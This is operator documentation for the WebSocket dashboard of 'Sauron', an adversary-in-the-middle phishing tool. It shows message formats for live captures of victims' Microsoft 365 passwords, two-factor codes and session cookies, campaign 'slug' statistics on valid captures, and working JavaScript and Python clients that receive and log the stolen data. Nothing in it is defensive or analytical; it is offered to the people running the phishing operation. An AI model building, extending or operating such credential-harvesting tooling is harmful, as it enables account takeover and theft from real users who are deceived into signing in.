WebSocket Dashboard

Real-time Monitoring

The WebSocket dashboard provides real-time monitoring of your Sauron MITM operations. Connect to receive live updates on credential captures, visitor activity, and system status.

Real-time Updates

Live credential captures and visitor tracking

📊

Statistics Dashboard

Slug statistics and conversion metrics

🔒

Secure Access

Admin key authentication required

Connecting to the Dashboard

WebSocket Connection

// Connect to WebSocket endpoint
const ws = new WebSocket('wss://your-domain.com/ws');

// Send authentication
ws.onopen = function() {
    ws.send(JSON.stringify({
        type: 'auth',
        // Authentication handled via Firestore headers
    }));
};

// Handle incoming messages
ws.onmessage = function(event) {
    const data = JSON.parse(event.data);
    console.log('Received:', data);
};

Endpoint: wss://your-domain.com/ws
Authentication: Send admin key immediately after connection

Authentication Flow

1

Connect to WebSocket

Establish WebSocket connection to /ws endpoint

2

Send Authentication

Send admin key in authentication message

3

Receive Confirmation

Server confirms authentication and begins sending updates

Message Types

Credential Capture

Real-time notification when credentials are captured

{
  "type": "credential_capture",
  "timestamp": "2024-01-15T10:30:45Z",
  "data": {
    "slug": "sales-q1",
    "email": "user@company.com",
    "password": "captured_password",
    "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)...",
    "ip": "192.168.1.100",
    "location": {
      "country": "United States",
      "region": "California", 
      "city": "San Francisco"
    }
  }
}

2FA Token Capture

Notification when two-factor authentication tokens are captured

{
  "type": "2fa_capture",
  "timestamp": "2024-01-15T10:32:15Z",
  "data": {
    "slug": "sales-q1",
    "token": "123456",
    "method": "authenticator_app",
    "hostname": "login.microsoftonline.com",
    "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)..."
  }
}

Cookie Dump

Full cookie capture from authenticated sessions

{
  "type": "cookie_dump",
  "timestamp": "2024-01-15T10:33:30Z",
  "data": {
    "slug": "sales-q1",
    "email": "user@company.com",
    "cookies": "ESTSAUTH=...; ESTSAUTHPERSISTENT=...",
    "hostname": "login.microsoftonline.com",
    "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)..."
  }
}

Session Events

Track user navigation and behavior

{
  "type": "session_event",
  "timestamp": "2024-01-15T10:31:00Z",
  "data": {
    "slug": "sales-q1",
    "url": "https://login.microsoftonline.com/common/oauth2/authorize",
    "pathname": "/common/oauth2/authorize", 
    "hostname": "login.microsoftonline.com",
    "title": "Sign in to your account",
    "referrer": "",
    "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)..."
  }
}

Slug Statistics

Real-time statistics updates for slug performance

{
  "type": "slug_stats",
  "timestamp": "2024-01-15T10:35:00Z",
  "data": {
    "slug": "sales-q1",
    "stats": {
      "visits": 157,
      "logs": 92,
      "valid": 25,
      "invalid": 13
    }
  }
}

Dashboard Features

Real-time Monitoring

📈 Live Statistics

  • • Real-time visitor counts
  • • Credential capture rates
  • • Success/failure ratios
  • • Geographic distribution

🎯 Capture Events

  • • Instant credential notifications
  • • 2FA token captures
  • • Session cookie dumps
  • • Navigation tracking

🔍 Activity Feed

  • • Chronological event stream
  • • User behavior patterns
  • • System health monitoring
  • • Error reporting

⚙️ Management Tools

  • • Slug creation and management
  • • System configuration
  • • Data export functions
  • • Performance optimization

Slug Management

Creating and Managing Slugs

The WebSocket interface allows real-time slug management and monitoring.

Create New Slug

// Send slug creation request
ws.send(JSON.stringify({
    type: 'create_slug',
    data: {
        slug: 'new-operation-2024',
        user_id: 'your_user_id'
    }
}));

Request Slug Statistics

// Request statistics for specific slug
ws.send(JSON.stringify({
    type: 'get_stats',
    data: {
        slug: 'sales-q1'
    }
}));

Integration Examples

JavaScript Dashboard

class SauronDashboard {
    constructor(domain, adminKey) {
        this.ws = new WebSocket(`wss://${domain}/ws`);
        this.adminKey = adminKey;
        this.setupEventHandlers();
    }
    
    setupEventHandlers() {
        this.ws.onopen = () => {
            console.log('Connected to Sauron dashboard');
            this.authenticate();
        };
        
        this.ws.onmessage = (event) => {
            const data = JSON.parse(event.data);
            this.handleMessage(data);
        };
        
        this.ws.onerror = (error) => {
            console.error('WebSocket error:', error);
        };
    }
    
    authenticate() {
        this.ws.send(JSON.stringify({
            type: 'auth',
            admin_key: this.adminKey
        }));
    }
    
    handleMessage(data) {
        switch(data.type) {
            case 'credential_capture':
                this.onCredentialCapture(data.data);
                break;
            case 'slug_stats':
                this.updateSlugStats(data.data);
                break;
            case '2fa_capture':
                this.on2FACapture(data.data);
                break;
            case 'cookie_dump':
                this.onCookieDump(data.data);
                break;
        }
    }
    
    onCredentialCapture(data) {
        console.log('New credential captured:', data);
        // Update dashboard UI
        this.showNotification(`New credential: ${data.email}`);
        this.updateCaptureCounter();
    }
    
    updateSlugStats(data) {
        console.log('Stats update for slug:', data.slug, data.stats);
        // Update statistics display
    }
}

// Usage
const dashboard = new SauronDashboard('your-domain.com', 'your_admin_key');

Python Integration

import asyncio
import websockets
import json

class SauronMonitor:
    def __init__(self, domain, admin_key):
        self.domain = domain
        self.admin_key = admin_key
        self.uri = f"wss://{domain}/ws"
    
    async def connect(self):
        async with websockets.connect(self.uri) as websocket:
            # Authenticate
            auth_msg = {
                "type": "auth",
                "admin_key": self.admin_key
            }
            await websocket.send(json.dumps(auth_msg))
            
            # Listen for messages
            async for message in websocket:
                data = json.loads(message)
                await self.handle_message(data)
    
    async def handle_message(self, data):
        msg_type = data.get('type')
        
        if msg_type == 'credential_capture':
            print(f"🎯 Credential captured: {data['data']['email']}")
            await self.log_credential(data['data'])
        
        elif msg_type == 'slug_stats':
            print(f"📊 Stats update: {data['data']}")
        
        elif msg_type == '2fa_capture':
            print(f"🔐 2FA token captured: {data['data']['token']}")
    
    async def log_credential(self, credential_data):
        # Save to database, send alerts, etc.
        pass

# Usage
monitor = SauronMonitor('your-domain.com', 'your_admin_key')
asyncio.run(monitor.connect())

Security and Best Practices

✅ Security Features

  • • Admin key authentication required
  • • WSS (WebSocket Secure) encryption
  • • Real-time connection monitoring
  • • Automatic connection cleanup
  • • Rate limiting protection
  • • Secure data transmission
  • • Session management

📋 Best Practices

  • • Use strong admin keys (32+ characters)
  • • Monitor connection status regularly
  • • Implement connection retry logic
  • • Handle network interruptions gracefully
  • • Log all dashboard activities
  • • Use HTTPS for web dashboard interfaces
  • • Regularly update credentials

Troubleshooting

Common Issues

Connection Refused

Check that Sauron is running and WebSocket endpoint is accessible

sudo systemctl status sauron

Authentication Failed

Verify admin key is correct and matches server configuration

grep ADMIN_KEY .env

No Data Received

Ensure authentication was successful and slugs are active

Check WebSocket authentication response

SSL Certificate Issues

Verify SSL certificate is valid for WebSocket connections

openssl s_client -connect domain:443